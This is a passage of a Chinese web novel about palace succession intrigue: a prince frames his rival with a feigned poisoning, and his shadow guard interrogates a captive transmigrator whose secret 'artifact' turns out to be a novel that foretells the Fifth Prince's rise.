“杨妃,你是擅长易容的,如今正好趁着四皇子被禁闭在王府,你就扮成他的贴身之人,以四皇子被禁闭时听说本王回京,担忧王妃在王府中的处境为由,开始和王妃私下联系。” “多假传些信件,让咱们这位爱情至上的王妃好好体验一下爱情的美妙。” “然后……”王爷微抬下巴,对自己的计划百般得意,“找时机给王妃一包毒药,就说是四皇子被本王压得抬不起头来,如今已经危在旦夕,纵使百般不愿也期盼王妃能再助他一回。” “等到本王死了,他就立马向父皇请旨册封她为正妃。” 杨妃的脸色已经随着王爷的一句一句话越来越白,他知道这一次受了重伤之后,王爷对争权夺位这件事上已经投入了一百二十分的努力,但没想到王源能疯狂到这种程度。 终究是生死之间的危机令王爷难以安心了。 杨妃很想再劝一劝王爷,却一直都没有找到机会插话。 “到时候本王突发重病,经御医一查竟是中毒,再查下去就发现是本王的王妃给本王下毒,又查,便能查到四皇子身上。” “届时四弟才真是万劫不复了。” 王爷笑了起来,又摇了摇头。 “其实说来可笑,等到本王的计划真的事成之时,恐怕真的能压死四皇子的也不是本王的性命。” 剩下的话王爷没有再继续说下去,但杨妃也能猜到三分。 宫中的那位陛下之所以重病不就是因为下毒? 在这个关键时期,一位刚返京的皇子也因为中毒而重病,又能查到四皇子身上,怎么能不让那位陛下联想到自身? 哎。 这计划无论从哪方面来看,杨妃都觉得非常不错,但唯独这毒要用到王爷身上,那就不妙了。 大大的不妙。 王爷千金之躯,怎能立于危墙之下? “主子。”杨妃非常不愿意王爷受到这种明明能避免的危险,“既然要下毒去陷害四皇子,何不直接将毒下给五皇子?” 他觉得这样更好。 下毒给五皇子,然后栽赃给四皇子,对王爷来说,那就是一下子清除掉两个敌人,哪怕陛下一时半刻没死最终结果也翻不出王爷的手掌心了。 第77章 “咱们那位坐在龙椅上的好父亲可不是个傻的。”王爷心知肚明杨妃为什么这样说,心里很熨帖他如此关心自己,但也不得不把现状和他解释明白。 “这京中满打满算也就剩下了我们三个,若是在此时五皇子中毒而亡,证据又指向了四皇子下毒,他如何能不怀疑我?” “恰恰相反,若此时是我中毒危在旦夕,又指向了是四皇子下手,他自然也会加重对五皇子的怀疑,哪怕不直接对他动手,也会拿下他手中我们最忌惮的兵权。” “如此,对我们来说才真是一石二鸟。” 王爷眼瞧着杨妃犹有不甘,站起来拍了拍他的肩膀,肯定道,“到时候叫浅云弄些妥当的毒药,只管选那些看上去严重实际上却好医的。” “毕竟我们也只是做做戏罢了,本王还没活够呢。” 他还想等以后荣登大宝之后和群臣奋战三百回合,然后册封杨妃为皇后呢,怎么可能就这样粗心大x意的交代在自己手里? 那些温香软玉的日子他还没过呢,就是此刻死了也会怨气冲天地变成厉鬼,纠缠不休。 王爷叭叭叭地将自己的计划对杨妃和盘托出,最后又道,“如今正是最后的紧要关头,时至此时,为免有人孤注一掷,狗急跳墙,京城的人员变动尤其是兵马变动,还得仔细上心。” 杨妃听了这话凝重点头,眼见到了要分出胜负的时候,若是王爷落了下风他们也是有勇气最后一搏的。 别人当然也会有。 他会为王爷将所有人盯得紧紧的。 王爷的顺利回京给本来就紧绷的京都形势又添上了一把火,府上这些天以各种借口来寻找王爷的官员络绎不绝。 现在四皇子失势,大部分人又不觉得五皇子会有机会,因此不免都想抓着这个时机和王爷之间增进感情。 对于这些人,王爷一贯是明里不大亲近的,暗地里自然会选些有用处的加以接触。 反正杨妃这些天已经快从影卫进化成信鸽了。 最终还是那批寻找王爷的人押解着涉案人员回京,才拯救了他。 就像王爷说的,这件事只要放下了道德底线解决起来很容易。 所有人心知肚明,包括被下狱了的工部尚书也清楚是怎么一回事。 他甚至都没为自己喊冤,只是求见了王爷,宁可自身被千刀万剐,也希望留下他一家老小的姓命。 对此,王爷是惋惜的,但他也做不到。 他只能向工部尚书承诺,这事只祸及他一门,不会牵连到他的九族。 工部尚书听闻此事自然涕泗横流,却也只能咬着牙感谢王爷洪恩。 说实话,杨妃瞧着他那样子都觉得心酸。 有时候他也会感慨陛下和王爷能活到现在也就是凭着他们身边有的是武艺高强的人相护,也凭着大部分的人武艺平平,没能力动手。 只是苦了他们这些日常领了保护的活的影卫,每一次在地牢里见人这种戏码发生的时候,杨妃都紧张的很,若不是为了成全王爷那种运筹帷幄的体面,他都想挡在王爷身前了。 他真的很怕这些人一怒血溅五步啊! 因为那种明明白白就是冤枉人,还要人家感激涕零的样子是有些欠揍的。 杨妃像个影子一般地跟着王爷走出了地牢,这牢房近日里也热闹得很,来的都是工部尚书和相关人员的家眷,哀泣之声不绝,每一次进来都觉得阴气极重,脊背凉凉的。 如此想来能安之若素走在这里的王爷可真是个硬汉。 杨妃只是感慨,心中倒也没有多少真的惋惜,政治斗争素来如此,也就是此刻他是这场小小争斗中的获胜者才能如此感慨。 若是真要他发表感言的话他也只能说他早都听惯了。 但这一次还是稍微有那么一点不同的。 杨妃和王爷一起上了马车,这才悄悄地凑到王爷耳边,“主子,这次倒有一件有趣的事儿。” “嗯?” 王爷有点诧异地抬眼看着杨妃,没想到他这个素来寡言的影卫,也会有这种类似于八卦的开场白。 “什么有趣的事儿?” “主子近日里一直主持此事,属下随侍左右,除了那些想减罪的贿赂,倒也收了几件有趣的玩意儿。” 杨妃一边说着一边从袖子里掏出了卷起来的一摞纸呈到王爷面前。 “这东西是看守的狱卒献上来的,属下瞧了,倒有几分可用,已经让王府上的工匠试着去做了,昨儿刚拿出了成品,属下试了试,效果远胜现在的弓弩。” “不光射程更远,而且需要的力气也没那么大,造起来也没麻烦多少,实在是件好物。” 王爷的兴致被杨妃提了起来,他展开了那卷纸逐张去看,啧啧称奇。 “这图纸上的弓瞧着怪模怪样的,竟真的能用吗?” 这天下的武器形制没有王爷没瞧见过的,多精致的武器他都见过,这纸上的倒还真是头一回。 “确实好用,若是能都换成这种新型的弓,只怕弓弩手能战无不胜了。” 毕竟现在能使用的远程武器有限,主要还得是靠弓箭,而这种弓箭的射程已经是寻常弓箭的两倍,若是两军对垒之时,一方用这种弓箭,一方用普通的,光在射程上就能做到战无不胜了。 只要远远地放着弓箭,自家队伍甚至都不需要出现在对方的射程之内,就能克敌制胜了。 这东西实在可怕,杨妃收了这玩意儿压根没敢声张,献上图纸的狱卒也被他悄悄地扣下了,这东西的来历也叫他摸得一干二净。 “狱卒已经被属下扣下,盘问过后,也摸清了这图纸的来历。” 杨妃当时知道真相时虽有些震惊,可心里也觉得理所当然。 “这东西便是那工部尚书家的公子弄出来的。”他的表情带着两分复杂,既是对妖怪和神器的本事忌惮,也有对连妖怪都摸不通人性诡异自豪,“他弄出了这些东西交给狱卒,本是想要借狱卒之手献上,为自己和家人减免最多。” “可却不曾想……” “那狱卒虽然信了他这东西威力惊人,可也没有替他献上的打算,反倒是声称这东西就是他梦中神授,只想着为自己谋前程。” 王爷摩挲着图纸,听着杨妃讲述,听到这里哼笑了一声。 那小公子到底还是年轻,又从来都只做人上人,哪里能摸清这种小人物的心思? 都不许杨妃说,他都能猜得到,大约这小公子拿出图纸时,将这图纸吹得天花乱坠,不仅吹得这狱卒信以为真,还让他太过信了。 保不齐都以为将这图纸献上去就能混个爵位玩玩,当然就会大胆一搏。 倒也不怪他。 这东西听上去确实好,连他这个王爷都很是心动。 “做的不错,这东西必须在本王手里,也只能在本王手里。” 王爷将这图纸仔细地塞好了,“但狱卒倒是没什么用了,悄悄地处理掉吧。” 他眼中闪过一丝冷光,这种小人物最是摇摆不定,难以保守秘密的,这样的大事知情人只有死了他才安心。 “是。”杨妃了然地点点头,这个结果完全在他预料之内,“那位小公子已经被属下悄悄地找人替换掉了,现下人正在王府的地牢里。” 他平静地说出这种明显侵犯了律法的劫囚举动,反正他家王爷才是这案的主审人,他悄悄地换了一个人走,只要王爷愿意装作没发现,就不会有人发现。 “属下想着他既然能拿出这东西来,便保不齐,还有其他旁的本事,将他放在这狱中太过危险,若是他逼急了说出些什么东西来,难免被其他人的探子发现。” 杨妃理直气壮地说,他可全都是好心。 这妖怪留在这牢里最终也得被判个斩首,就算他在刑场上死不掉不也暴露了身份? 还不如被他抓在手里好吃好喝地供着。 他可真是个大好人。 杨妃自觉自己在这件事上积攒了功德,办的一点不错。 王爷也觉得如此。 “有你在,本王尽可以安心了。” 王爷的眼中带着丝笑意,他才要和杨妃说,悄悄地将这小公子拿捏到自己手里,不曾想杨妃已经做完了。 “既然来了王府里做客,那就好生招待着,多和那小公子聊聊,怎么说咱们也算救了他一命,想必他也是不介意和我们好好分享一下的。” “是。” 他们俩在马车上三言两语的就决定了那小公子这段时间的命运,得了王爷允许的杨妃更是将他早就迫不及待想做的事变成了现实。 只苦了那妖怪。 回了王府杨妃就迫不及待地将守卫王爷的工作交给了朱柿,他则是急于和妖怪见面。 屏退了众人,王府的地牢里便只剩下杨妃和妖怪两个人了。 那妖怪早就换上了麻布的囚服,原本梳得板板正正的发髻也早就散乱,头发如同枯草一般贴着脸颊,神情也不似从前那样活泼,如今看上去竟有些形容枯槁了。 细细算来,自从洪水之后,他也被关押了有半个多月了,看来就连妖怪也经不起人间这些磋磨啊! 杨妃冷冷地看着形容憔悴的妖怪,这其实是他们俩这样面对面的第一次见面。 他有太多的话想说,有太多的疑问想得到解答。 比如说为什么他除了王爷的心声还能听到这妖怪的。 比如说他到底是怎么侵占了小公子的身子? 比如说他原本到底是个什么东西? 比如说他怎么在洪水中活下来的? 比如说x神器到底是什么? 第78章 杨妃好奇的要死,这些问题早就横亘在他心头期望得到解答。 他的人生可以说在听到心声那天就被划下了一道分水岭。 往前,是和所有影卫一样在各种任务里奋斗来奋斗去的人生,往后,是一条和所有人都不一样求自身清白的道路。 能听到王爷的心声,是他遇到的第一件匪夷所思的事,相比之下,脑子里那些凌乱的故事都像是伴随王爷的心声而来的添头。 打那之后,他有很长一段时间觉得自己只能听到王爷的心声,直到那一次宴会上遇到了伪装成工部尚书家公子的妖怪。 这是他能听到心声的第二个人。 可他的直觉告诉他他能听到王爷的心声,也与他有关。 毕竟这可是灵异传说中的妖怪,身上还带着一件无所不知的神器,和他家王爷那种尊贵的肉体凡胎相比怎么看怎么异常。 杨妃老早就想仔细研究一下这个妖怪了,只可惜他们俩身份有别,他常常跟在王爷身边,所有时间和注意力都丢给了王爷,对他也只是偶尔分神扫一眼的余光,除了那些絮絮叨叨的心声外,也了解不了太多。 如此想来杨妃竟有点感谢皇帝,将这口大锅背在了工部尚书全家的身上,不然他还很难将这家伙捏在手里呢。 既落在了他手里,这妖怪便也再没了逃跑的余地。 出于对妖怪这种生物的好奇和警惕,杨妃对他可不单单用了那些所烦人的锁链,他甚至还特意去道观、佛寺里求了不少据说能驱邪避祟的符咒。 虽然王府里很忌讳这一类容易和巫蛊之术搭上边的东西,可他悄悄地将它们藏在门框里,也不容易被旁人察觉。 当然了,窗户杨妃也没有略过。 既然妖怪真的存在,想必香火旺盛的道观佛寺多少也有些真本事的,他相信这妖怪定然逃不出他的手掌心。 因此这会儿杨妃也没急着从他嘴里掏东西,反而是静静地站在房间的阴影处,仔细地打量着拖着锁链蜷缩在房屋阴影处的妖怪。 那妖怪还昏睡着,杨妃听不见他的心声,只瞧着他的外貌打量。 神话传说中的妖怪,多少都带着些非人的特质,这个妖怪身上倒不曾见到。 杨妃也有点失望。 他还以为会瞧见耳朵尾巴什么的,结果不止这些东西他没有,就连那种尖锐的指甲也没有,这妖怪现在十指秃秃,手上的皮肤皲裂着,嘴唇惨白起皮,连脸颊都凹陷下去。 和他过去所见到过的那些个囚徒没什么不同。 甚至还要更虚弱一些。 也不知道到底是这种折磨,连妖怪都承受不下去还是说他的演技已经高深到这种程度了。 杨妃拿着匕首在掌心转了一圈,有点想先捅这妖怪一刀试试,看看他是不是像传说中那般刀枪不入难以杀死。 武力和内力可是杨妃面对各种情况都能保持淡定的本钱,这会儿他不知道如何能将妖怪一击毙命,心里多少有点没底。 “……” 算了,他还是先找一找那个和妖怪交流的神器到底在哪吧,他感觉那东西比这妖怪要重要得多。 从他们之前的交流上看,这妖怪对神器多提问题,神器才是那个答疑解惑的存在。 等他拿到了神器,首先就要问问当今的皇帝陛下还能活上几天。 杨妃的眼神锐利,鹰隼一般的视线上上下下地将只身着一件单衣的妖怪扫了一遍又一遍,企图从他身上找到神器的踪迹。 神器是什么样子的? 杨妃有过许多幻想。 他贫瘠的见识给他提供了有限的想象空间,他猜测神器也许会伪装成饰品的样子,或者也可能是皮肤上的某个小痣。 但起码也要一瞧上去就是珠光宝气看上去就灵光不凡的,哪怕是身上的痣也该是带着神秘符号的。 毕竟是神器嘛,宝物就该自带华光。 可这人打从在水患之地被关起来时就已经经历过一波搜身了,杨妃悄悄地派人去打探过,很怕那些狱卒把神器连同这家伙身上的金银珠宝一并私吞了,害得他白高兴一场。 去打探的人也是很心细,默默地将那些狱卒拿走的首饰偷了回来,典当了的东西也悄悄地取走了。 这些东西都呈给了杨妃过目,他生怕自己错过了神器,挨样都仔细的摸索过,没发现什么异常。 他当时甚至想着既然是神器,自然就得有无坚不摧的特质,都将那些首饰金银把小锤挨个砸了。 事实证明那些东西就是普普通通的首饰,远远比不上他家王爷带的精致高贵。 他也曾怀疑过这神器是不是在洪水中被遗失了。 可这妖怪既然能献给狱卒武器图纸,来换取自身减刑,那就说明神器还是在他身上的。 也就是说这神器并不是暴露在外面的器物。 要不然连续几波的狱卒搜身不可能还将那些能换钱的东西留在他身上。 不过出于谨慎,这人在关进王府地牢时身上的所有衣物都被他命人换了个遍。 甚至还好心地将他的头发用篦子仔仔细细地又梳了一遍。 万一那神器体积极小,就被他藏在头发里呢? 杨妃的丰富经验让他绝不能错过这种可能线索。 他还记得从前有一个任务,那人就将他偷来的草药种子编进头发里,若不是他觉得一个人在流亡过程中还编着一脑袋精致的辫子,太不符合常理仔细地检查了一番,倒还真让他将东西偷走了。 不过杨妃的经验在这妖怪身上又一次折戟沉沙。 他的头发里除了沙子就是虱子。 杨妃将那些东西一并也用火烧了,除了一捧茶杯盖子都装不满的灰之外什么都没有得到。 在这妖怪和神器身上的失败案例已经足够杨妃出一本书了,他失败了一次又一次,却不能一直失败下去。 蜷缩在稻草上的妖怪昏睡之中也不安定,时不时四肢还抽搐一下。 也许是做噩梦了,也许是饿的。 杨妃思考了一下,也不知道看守他的人有没有那个好心给他喂点吃的。 就让他来做这个好人吧。 杨妃对身边的影卫示意了一下,让他们去准备一桌好酒好菜备着,他另有用处。 有时候不仅疼痛能让他们吐出他想要的东西,一些很久没有得到的优待也会。 不过在此之前,他想要验证一下自己那个关于神器只是身上一个小记号的猜测。 他先检查检查这个,若是再没有找到,就得将这妖怪吊起来严刑拷打了。 杨妃深呼了一口气,他希望那神器还在妖怪身上。 只要神器还在他身上,他醒了第一件事肯定就是问神器解决办法。 偏巧,他就是那个能听见这妖怪和神器交流的人,不怕他装疯卖傻推脱,不知道神器到底是什么。 他蹲在妖怪身边,觉得妖怪也不像传说中那么警惕,危险面前不是也睡得挺死? 他拿在手里的匕首唰唰唰的在空气中迅速划过,精准地割开了妖怪身上那身粗布的囚服,露出了他短短时间内就被折磨得瘦骨嶙峋的身体。 “啧。” 杨妃啧了一声,觉得他之前还思考要不要捅他一刀,看看能不能杀死他的想法简直太天真。 这妖怪肯定水平在妖怪界也不怎么样,瞧这浑身上下青青紫紫的,一定没少受狱卒的照顾。 杨妃倒是不意外。 这些王公贵族家的子弟,平日里高高在上颐指气使惯了,一旦家道中落沦落为阶下囚,就会特别能吸引起那些常年卑躬屈膝的小人物的欲望。 他们冠以折磨他们为乐的。 这妖怪乍一看上去还完好无缺也就是因为对他们的处置,还没有彻底下来,那些狱卒生怕他能落得个幸免,也也怕真的把他折磨出个好歹来耽搁了大人物的事。 身上也只是多些被揍出来的青紫痕迹,零件儿骨骼的都是完好的。 杨妃拿匕首挑着那些被他割破的碎布,左右拨弄着将妖怪的整个身体都露出来,然后一寸一寸地仔细去瞧。 不愧是世家大族的子弟,虽然经历了这些磋磨,可皮肤看上去照旧是苍白光滑的,连点茧子都没有。 妖怪蜷缩成一团,杨妃这样能看的范围有限,可他又实在不想和不是,马上就要死在他手里的男性有接触,于是就在其他影卫看变态的目光中叫他们来将这妖怪摊开,好叫他仔细查验。 影卫们可以说是一边用诡异的眼神扫着杨妃,一边给他干活,那表情上都写上了“原来他们头儿好这口”一横明晃晃的大字。 看的杨妃实在没忍住,一巴掌拍在了他脑门上。 他又x不是变态!一切都是为了王爷! 他还没嫌弃这妖怪白斩鸡似的身材辣眼睛呢! 影卫们下手可没什么怜香惜玉一说,这一番折腾,这妖怪要是再醒不过来那和个死人也就没什么区别了。 显然他不是。 妖怪被折腾醒时还没太反应过来,不是他这个人心大不知道自己的危险处境。而是这些天一直被左邻右舍关着的囚犯喊冤哭号的声音吵着,还有那些上刑时的惨叫一直徘徊在耳边,很久很久都不曾有过这种安静的环境,一时安静下来便没忍住睡死了过去。 他这会儿刚睁开眼睛时,眼前还是白蒙蒙的一片,等他顺着有人抓着他四肢的感觉,熟练的想要向动手的人求饶时,入目的却是自己苍白纤瘦的手腕,和抓在自己手腕上的大手。 “啊——” 他惊恐地叫出了声。 这怎么和从前的那些手段都不一样啊? 第79章 但凡是个正常人,从昏睡中醒来,发现自己被扒了精光,而自己的身边又围了不少人,且还有人触碰自己的时候都会尖叫出声。 妖怪当然也不例外。 他一见这场景再也没了一点睡意,整个人一个激灵就精神起来,备受折磨的身体也一改疲惫不堪的模样,那一声尖叫喊的那叫一个中气十足。 连妖怪自己都被自己的喊叫声震得耳朵发痛。 王府重地,所有人言行坐卧都有规矩,哪里容得他如此大声喧哗? 本来王府最近就不太平,王爷最近心情也不佳。 若是因他的尖叫声引来旁人窥视,那便是万死也难其咎了。 若是叫他的尖叫声吵到了王爷的耳朵,他就直接将这妖怪的舌头割下来! 杨妃眼中闪过一抹厉色,也不废话,无形的铁手在半空中画了个弧狠狠地打在了他的脸上,带着一声清脆的、在狭小牢房中经久不散的巨响。 “啪!” 这一巴掌算是将妖怪的尖叫全都堵回了喉咙眼里,不止如此,整个牢房都安静了下来。 这一巴掌杨妃带上了些内力,打下去就直接将他的脸打得肉眼可见的肿了起来,苍白的皮肤瞬间变了颜色,红红紫紫的好生鲜艳。 血丝顺着妖怪的唇角落下,仅仅一巴掌,杨妃就将这妖怪打的懵了。 力的作用是相互的,用力过猛的杨妃掌心也泛着一丝丝的疼。 但这不是重点,重点是他现在脑瓜子也嗡嗡的。 一声巨响之后杨妃站在原地没有动弹,妖怪也趴在地上一动不动,其他人就更没有声响。 按理来说,威慑之后正是好审问的时机,杨妃当然也知道这一点,只是他现在实在做不到。 因为他的脑子差点因为这一巴掌变成浆糊了! 明明是他打别人,不是别人打他啊喂! 当杨妃的巴掌和妖怪脸上的皮肤接触的一瞬间,就如同那夜他刚能听到王爷的心声时类似,无比庞大的信息量突兀地被灌进他的脑子里,伴随着火焰燃烧木头一般的噼啪声杂音,他生生地被这些庞大的信息量冲得难以思考,当机般的站在原地。 时间在他的感知中好似过得很慢,在别人的感知中他也呆在原地。 影卫们瞧瞧他,又瞧瞧妖怪,彼此对视两眼都觉得不对劲。 最后还是离杨妃最近的那一个,被同伴们一杵子怼在腰上推前了一步,捏着鼻子小心翼翼地伸出食指戳了戳杨妃的肩膀,在杨妃肌肉颤动一下后又受惊般地三连向后跳。 见杨妃只是微微颤动了一下没有进攻,那影卫才舒出了一口气,擦了擦被自己吓出来的汗。 这可不能怪他如惊弓之鸟,实在是,如何在失去意识情况下仍保留本能的反击,也是他们这些影卫必上的一节课,身为老大的杨妃理所当然地也是其中的佼佼者。 “头儿这是怎么了?”影卫们凑在一起蛐蛐儿杨妃,他们一直都待在一起,不太懂这种,只打了犯人一巴掌之后怎么会变成又像失去意识了又像没有的诡异状态。 “中邪了?” 其中一个影卫大胆开麦,又大胆地前行两步,小心翼翼地又戳了戳杨妃。 不过他就没有前一个那样幸运了,凭借着之前经受信息冲击的经验,杨妃这会儿已经恢复了一点意识,察觉到有人触碰他自然本能地抬手掐在那人的手腕上用力一翻。 然后那个影卫就顺从的顺着杨妃的力道,被他直接在半空中甩出个圆来,重重地砸在地上。 “呃。” 这声闷哼,算是彻底将杨妃的神智唤了回来,他甩了甩头,目光停留在好像已经晕过去了的妖怪身上,神色复杂。 他已经没有再审问这个妖怪的必要了,至于能不能再多套出些别的东西来,这样的小事也用不着他亲自出马。 “他就交给你们了,别弄死弄残了,剩下随意。” 杨妃从袖子里掏出帕子擦了擦自己的手,转过身恍恍惚惚地离开了这间牢房。 讲真的,今天在这妖怪身上受到的冲击,他没有个三天是缓不过来的。 走到没人的地方杨妃扶着栏杆伸手揉着自己的额角,觉得额角的青筋一跳一跳的,看什么都重影。 今天他可真是收获颇丰。 他原以为神器,既然是某种器物,那么起码就要有一个有形的载体,哪怕是什么图腾他都能接受,可万万没想到神器竟然好像是一本……书? 那一巴掌扇在妖怪脸上,无数的信息量冲进他的脑子里,最终汇聚成了一本厚厚的书。 杨妃还没来得及去看书里的内容,倒是先瞧见了花里胡哨封面上鎏金的几个大字。 《君临天下从混血皇子开始》 不管书里的内容到底写了什么,单单这个书名就已经信息量很大了好吗? 怎么每个字都认识,组合到一起他就难以理解了呢? 什么叫做混血、皇子、君临天下啊! 杨妃咬牙切齿的将这书名又念了一遍,想杀人的心到达了顶峰。 不是他擅长联想,而是在现在这个夺嫡的关键时刻,一提到混血皇子,他很难不想到那一位混了外族血脉的五皇子啊! 尤其是这位混血儿已经在夺嫡这场赛道上开始了自己的努力! 不行,他必须赶紧将这本书仔仔细细一个字不落地分析一遍! 杨妃踩着轻功在王府迅速掠过,一个猛子扎进了自己的屋,并将自己的室友毫不留情地拎着脖领子提溜了出去,然后连门带窗户一并锁死。 被从床上提溜起来以迅雷不及掩耳之势丢在外面的兰苕:不是,他疯了吧??? 清空了不重要的人,杨妃在床上做盘膝打坐状,烦躁的心迅速静了下来,开始翻阅起那本来自妖怪的书。 越看杨妃的脸色越白,周身的气压越低,身上的杀气愈盛,原本搭在膝盖上的手也开始颤抖。 原来……竟真的是这样。 他抿着唇,心情极其复杂。 最初脑子里多了那些话本子的时候,他不是没想过自己的世界会不会也是别人手里的话本子,而他和王爷仅仅是那些画本子上的两个不大的墨点。 他以为自己已经能接受这种情况,可当这件事真的发生时,杨妃才发现自己根本接受不了。 尤其是他和王爷,不仅只是小说里的一个人物,还是一个注定失败的小人物! 连给主角造成大麻烦贯穿故事剧情主线的反派都称不上! 杨妃被气得一佛出世,二佛升天,他家王爷惊才艳艳,无论是家世、财力还是人品都能称得上人中龙凤,怎么就在这本小说里连这点牌面都混不上? 他睁开眼,眼睛压根都不聚焦,胸口剧烈起伏着。 凭什么是那个所有人都不看好的五皇子最后登临帝位啊? 这合理吗? 说好的血脉不纯没有竞争力呢? 杨妃是真的有点恍惚了,这本小说差点就将他一直以来坚持的信念击碎了。 尤其是当他发现小说里面写的一些事情和已经发现的是一模一样时。 故事里的五皇子,因为自己的血脉和母族原因在皇宫中备受冷眼,儿时是那个最不起眼的皇子,在皇宫之中也只能做到饿不死冻不死,哪怕他有再多的天赋和志向都没有施展和提升的余地。x 所有人都不看好他,联想押注在他身上的投机者都没有。 不为别的,就因为从古至今都没有混了外族血脉的皇子登临皇位的先例。 他最初也没有这样的野心。 直到那一年,太子被皇帝所猜忌,最终在东宫带着太子妃何止是自焚而亡。 那一年太子的全家葬身火海。 那一年的三皇子被发了疯的皇帝认为是戕害太子的凶手。 那一年的王爷给四皇子给太子辩驳不成也被疯了一般的皇帝针对。 那一年的其他皇子要么还没出生,要么还没断奶。 自那之后,皇帝瞧自己每一个有机会登临皇位的儿子都不顺眼,他一想起这些儿子们便夜不能寐,生怕哪一天晚上他的儿子们提刀冲进皇宫,将他剁成臊子。 于是在礼法上压根不能登上皇位的五皇子就这么得到了皇帝的重视。 他时来运转了。 一瞬间,他就成为了皇帝最宠爱的儿子,有了最好的老师,只一句想习武,皇帝便不计成本地寻找好药给他用,又花费万金给他量身定做武器。 他才刚展现了一些排兵布阵的天赋,得到了教他的老师或真或假的两句夸赞,皇帝就很是大方的给了他五百兵马,只说叫他练着玩。 等他带着这五百兵马拿下了父亲两个不大不小的匪寨,皇帝龙心大悦,竟然直接交给了他兵权。 从此之后,五皇子平步青云,手下的军队像是繁殖了一般的越来越多,直到皇帝命他去镇守边疆,而他连战连捷,将外族毫不留情地赶到阳屏山脉以北,逼得他们对朝廷纳贡称臣。 从此五皇子留守边疆,厉兵秣马,建设边疆,深得人心,发展工匠,更新武器,可以说已经成了整个边疆的无冕之王。 饶是他势力已经发展至此,京中的皇帝竟然还对他委以重任。 就连只有皇帝和皇帝的继任者能参与的亲耕都特地叫他千里迢迢地从边疆回京主持。 那时五皇子就明白,天命在他,他才是那个注定要登临帝位的人物! 之前的那些磨难、冷眼也不过是他辉煌人生的前摇,所有瞧不起他,凌辱他的人都将付出代价! 待他登临皇帝位,必以十倍百倍报之! 亲耕助长了他的野心,偏偏天命在他,上天又给他准备了清除竞争对手的大好机会。 第80章 春三月,糜雨不止,已经有了成洪灾的迹象。 赈灾向来是朝廷工作的重点,作为现在皇帝还幸存着的长子,二皇子就被陛下派去雨患之地清查河堤。 多妙啊。 五皇子当时就这样想。 很有可能有雨患的地方官员是四皇子一脉,若是真的发生了洪灾对四皇子来说绝对是个打击。 偏巧派去查的还是二皇子。 那等危险之地,天灾之力,若是真的河堤损毁,二皇子不幸丧生在洪水之中,得是多么正常的一件事啊。 五皇子越想越兴奋。 这件事对他来说简直就是上天赐予的良机,面对这样的机会,他要是做不成一石二鸟之计,还是消停一点别提什么当皇帝了。 说干就干,五皇子当时就进行了周密的计划。 他心知肚明,这种对兄弟下手的事情,很容易刺激到他那个脑子好像不大清醒的爹,因此这样的脏水是万万不能沾自己身上一点的。 他必须得完全将自己择出去才行。 成大事者需要天意,却不能完全依赖于天意。 五皇子决心做成此事,纯靠上天下雨是不可能的。 他不管这个河堤被四皇子的人建造成什么鬼样子,只管教这河堤在水中 损毁。 最好用的最能受他控制的方法当然是将河堤炸掉。 这样他还能确保二皇子就在河堤之上。 而最妙的是,为了方便开凿河道,河道总督府的火库偏偏就有不少火雷。 五皇子手下的人查明此事之后五皇子本人当场就控制不住地笑出了声来。 什么叫天命之子? 他就是啊! 用四皇子底下的人手里的火药去炸河堤害二皇子。 这可太妙了! 他想都没想地就派出了大队的人马去做成此事。 一切都很顺利,唯一的意外就是那一队去偷火药的人马,好死不死的碰到了二皇子派去前方探路的影卫。 不过这也没什么。 去偷火药的人多多啊? 去探路的才几个? 这对五皇子来说只是一个小小的插曲,后续的蹲尸等人也是个小小的插曲。 不过小小的插曲有时也会给他带来大大的惊喜。 远在京中的五皇子接到自家影卫的飞鸽传书,上面写着二皇子的影卫头目好巧不巧地去追查失联影卫的踪迹,好死不死地被他们蹲守尸体的人蹲了个正着。 以有心算无心,加上他们改自军用装备的暗器埋伏,那影卫头目虽说杀了他们不少人,可自己也永远地留在了那里。 五皇子心情大悦。 影卫头目对他们来说那就是控制着所有影卫调配人手的左膀右臂,和他们之间不仅关系亲近,比那些个府上的幕僚还要珍贵许多。 这人这样折在了他的手里,那二皇子就也和断了一只胳膊瞎了一只眼睛没什么区别了。 这件事对五皇子的唯一烦恼可能就是二皇子恼羞成怒,底下的影卫们也像是疯狗一般,追着他的人的踪迹死查到底,不要命了似的袭击,也算是给他造成了不少麻烦。 不过没关系,二皇子也蹦哒不了多久了。 五皇子这样想着,便下了命令撤走了不少人免得被波及到了白遭殃,只留下那些以命换命去炸毁堤坝的死士。 他的计划很是成功,本就因为手底下死了不少人而神色憔悴的二皇子,就那样随着被炸毁的堤坝落入了洪水之中,被洪水不知道冲到了哪里去,连尸骨都没有找到。 骤然死了一个儿子,皇帝勃然大怒,一些谣言也渐渐地传到了京中。 包括那日河堤损毁之时,似有天雷坠落般的巨响。 皇帝当然不觉得自己的儿子是死于天灾,他马上就把怀疑的目光放在了四皇子身上,开始频繁的将四皇子叫到皇宫之中,试探打压他到底有没有篡害兄弟登临皇位的心。 手底下人办事不力的四皇子,本就倍感压力,再加上这口害死二皇子的锅,凭空地砸在他的脑袋上就更觉得心累。 重压之下,他难免会和自己的身边人骂两句自己的亲爹,可被陛下密切监控的他就连这样几句抱怨的话也被传到了皇帝的耳中。 皇帝和四皇子之间的关系越发紧张。 五皇子心情甚妙。 他又在这里面看到了机会。 若是趁这个机会给皇帝下毒,再栽赃给四皇子,那岂不是一炮双响地解决了两个心腹大患? 他越想越觉得此计可行,唯一的缺点就是这些宫里的太医们都是有真本事的,本国盛行的毒药很难瞒过他们的眼睛。 可五皇子到底有天命在身,瞌睡来了就有人给他送枕头。 就在此时他两难之际,被他打得抬不起头来的外族暗中给他送信,说他这个混了外族血脉的皇子,才是真正应该登临帝位的人。 与其向当今皇帝俯首称臣,他们还不如直接向五皇子俯首称臣。 信上表示他们愿意助五皇子一臂之力,唯他马首是瞻,甚至还很是贴心地献上了外族专有的毒药,保证皇帝能拖着虚弱的身体活到他将四皇子处理掉再一命呜呼。 五皇子大悦,双方就这样形成了一个稳固的联盟,外族也是很识趣地,直接将毒药双手奉上。 他们再三保证没有人会验出这东西上面有毒。 五皇子十分惊奇,盖因那毒药不是什么入口的东西,只是一个被磨得十分圆润的玉球一般,白日里就能发出荧荧的光芒,比之价值连城的夜明珠还要璀璨三分。 毕竟夜明珠,白天可不发光。 那玉球随着一个黑漆漆的盒子摆在五皇子的案上,外族信誓旦旦地表示只要皇帝收下这东西,身体就会日渐衰弱,最终浮肿溃烂而亡。 外族投诚的信物还不止这一件,他们还愿意再为五皇子做些别的。 比如在边疆,象征性地和五皇子的军队起一些小冲突,给京中一个外族要攻打的假象,让那位身体不佳的皇帝多多地上些火,给他本就差的身体雪上加霜。 不止如此,边疆的冲突也会加重五皇子本身的分量。 